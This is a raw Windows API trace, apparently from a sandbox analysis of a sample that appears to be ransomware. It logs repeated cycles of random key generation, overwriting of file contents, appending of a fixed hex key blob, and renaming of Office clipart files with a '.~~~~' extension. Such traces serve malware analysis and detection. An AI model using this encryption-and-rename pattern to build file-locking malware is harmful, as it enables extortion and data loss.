	[0091.606] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff648, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.606] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x9b8, lpOverlapped=0x0) returned 1
	[0091.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.606] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.606] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.606] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.607] CloseHandle (hObject=0x12c) returned 1
	[0091.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.~~~~")) returned 1
	[0091.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.607] GetLastError () returned 0x0
	[0091.608] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.608] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.608] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.609] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21159866339) returned 1
	[0091.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0609bf0, dwHighDateTime=0x1d60e1e)) 
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386dc0
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386dc0 | out: hHeap=0x300000) returned 1
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385cf8
	[0091.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.609] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.609] GetLastError () returned 0x0
	[0091.609] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.609] GetLastError () returned 0x0
	[0091.611] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff774, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.611] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x88c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x88c, lpOverlapped=0x0) returned 1
	[0091.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.611] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.612] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.612] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.612] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.612] CloseHandle (hObject=0x12c) returned 1
	[0091.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.~~~~")) returned 1
	[0091.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.613] GetLastError () returned 0x0
	[0091.613] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.614] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.614] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.614] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21160382984) returned 1
	[0091.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa062fd50, dwHighDateTime=0x1d60e1e)) 
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386df8
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386df8 | out: hHeap=0x300000) returned 1
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385d90
	[0091.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.614] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.614] GetLastError () returned 0x0
	[0091.615] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.615] GetLastError () returned 0x0
	[0091.679] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffeed4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.679] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x112c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x112c, lpOverlapped=0x0) returned 1
	[0091.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.680] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.680] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.680] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.680] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.680] CloseHandle (hObject=0x12c) returned 1
	[0091.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.~~~~")) returned 1
	[0091.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.936] GetLastError () returned 0x0
	[0092.160] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.174] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.174] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.174] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21216463965) returned 1
	[0092.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0b64d70, dwHighDateTime=0x1d60e1e)) 
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387808
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387808 | out: hHeap=0x300000) returned 1
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389e28
	[0092.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.175] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.175] GetLastError () returned 0x0
	[0092.176] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.176] GetLastError () returned 0x0
	[0092.178] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffb84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.178] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x47c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x47c, lpOverlapped=0x0) returned 1
	[0092.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.179] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.179] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.179] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.179] CloseHandle (hObject=0x12c) returned 1
	[0092.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.179] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.~~~~")) returned 1
	[0092.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.180] GetLastError () returned 0x0
	[0092.180] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.181] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.181] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.181] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21217162549) returned 1
	[0092.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0b64d70, dwHighDateTime=0x1d60e1e)) 
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387840
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387840 | out: hHeap=0x300000) returned 1
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389708
	[0092.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.182] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.182] GetLastError () returned 0x0
	[0092.182] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.182] GetLastError () returned 0x0
	[0092.184] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe104, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.185] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1efc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x1efc, lpOverlapped=0x0) returned 1
	[0092.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.185] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.185] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.185] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.185] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.186] CloseHandle (hObject=0x12c) returned 1
	[0092.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.~~~~")) returned 1
	[0092.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.187] GetLastError () returned 0x0
	[0092.188] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.189] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.189] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.189] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21217919547) returned 1
	[0092.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0b8aed0, dwHighDateTime=0x1d60e1e)) 
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387878
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387878 | out: hHeap=0x300000) returned 1
	[0092.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389f58
	[0092.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.190] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.190] GetLastError () returned 0x0
	[0092.190] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.190] GetLastError () returned 0x0
